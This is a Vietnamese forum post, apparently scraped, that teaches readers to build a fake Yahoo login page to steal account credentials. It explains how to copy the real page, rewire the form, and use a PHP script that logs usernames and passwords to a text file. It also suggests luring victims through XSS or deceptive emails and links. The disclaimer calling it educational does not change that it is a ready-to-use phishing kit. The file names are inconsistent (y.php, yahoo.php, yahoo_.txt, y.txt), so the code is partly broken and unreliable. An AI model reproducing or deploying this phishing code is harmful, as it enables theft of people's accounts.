VNXZ
*Hãy đăng kí làm thành viên để phát triển diễn đàn và không bị giới hạn nội dung
*Mỗi một người đăng kí sẽ tạo lên động lực để diễn đàn phát triển
*Chúng tôi luôn ghi nhận ý kiến và các bài tin của các bạn
---------thanks---------
*Diễn đàn do mình tạo ra, các bạn có ý kiến đóng góp hãy gửi thư cho mình tại FB: Bùi Văn Minh
*khi bạn đăng kí với diễn đàn, bạn cần xác nhận email thì mới là thành viên chính thức, tin nhắn nằm trong hộp thư máy chủ email của bạn.
*hãy post bài để ủng hộ diễn đàn, cảm ơn mọi người! page diễn đàn (page thủ thuật), email: admin@vnxzforum.net hoặc minh@takashiro.asia
*lưu ý:bài viết trên diễn đàn là sưu tầm trên mạng
Tìm kiếm
Display results as :
Advanced Search
Các từ khóa được gắn thều nhất
Poll
Thống Kê
Hiện có 1 người đang truy cập Diễn Đàn, gồm: 0 Thành viên, 0 Thành viên ẩn danh và 1 Khách viếng thăm

Không

View the whole list

Gallery



Tìm thấy 1 mục

by Admin
on 19/7/2015, 9:46 am
 
Search in: TUT các mẹo vặt
Chủ đề: Hướng dẫn làm fake page login giả mạo để hack tài khoản (login yahoo)
Trả lời: 0
Xem: 686

Hướng dẫn làm fake page login giả mạo để hack tài khoản (login yahoo)

Hướng dẫn làm fake page login giả mạo để hack tài khoản (login yahoo)

Phishing là một kỹ thuật hack phổ biến và nguy hiểm để ăn cắp thông tin bí mật của mọi người bằng cách sử dụng các trang đăng nhập giả. Trong bài viết này mình sẽ cho bạn thấy làm thế nào để tạo ra các trang đăng nhập giả mạo đơn giản (vd là yahoo)

– Nhân tiện đây mình cũng xin nói thêm với bạn cách làm trang đăng nhập yahoo giả mạo để lừa lấy mật khẩu …
– Còn làm sao để người ta đăng nhập bằng trang yahoo mạo đó thì do bạn: lợi dụng bug xss, hay gởi link đến nạn nhân dụ dỗ, hay email … tùy ứng của bạn (dụ dỗ càng hay thì nạn nhân sẽ dễ bị lừa hơn)
bước 1:
tao 3 file bằng notepad...gìgì cũng đc
-yahoo.php
-y.txt
-index.html (cái này để làm trang chủ)
bước 2:
Vào trang mail.yahoo.com save as toàn bộ trang web lại
dùng notepad mở index.html paste vào.

Tìm dòng:
< method=”post” action=”https://login.yahoo.com/config/login?&#8221; autocomplete=”off” name=”login_form” onsubmit=”return hash2(this)”>
Và thay thế vào đó
< form name=”login_form” action=”y.php” method=”post”>

bước 3:
mở file yahoo.php dán code sau và lưu lại
$now = date(“H:i:s Y-m-d”);
 $ten = $_POST[‘login’];
 $matkhau = $_POST[‘passwd’];
 $f=fopen(“yahoo_.txt”,”a”);
 fwrite($f,” $now —- User: $ten —- Pass: $matkhau —-\n”);
 fclose($f);
 ?>
 <><>
 <>location.href=”http://mail.yahoo.com”&lt; / script >
 < /body>< / html>
bước 4:
up hết 3 file trên lên hosting nào đó (mình dùng hostinger.vn)



muốn xem pass của nạn nhân thì mở file y.txt là có


P/S: Bài viết của mình mục đích chỉ để tham khảo cách mà Hacker lừa đảo lấy acc của mình để các bạn phòng tránh, mọi hành động
làm theo để Hack Acc các bạn tự chịu trách nhiệm.

bên dưới là file DEMO các bạn giải nén up hết lên hosting là đc

Chuyển đến: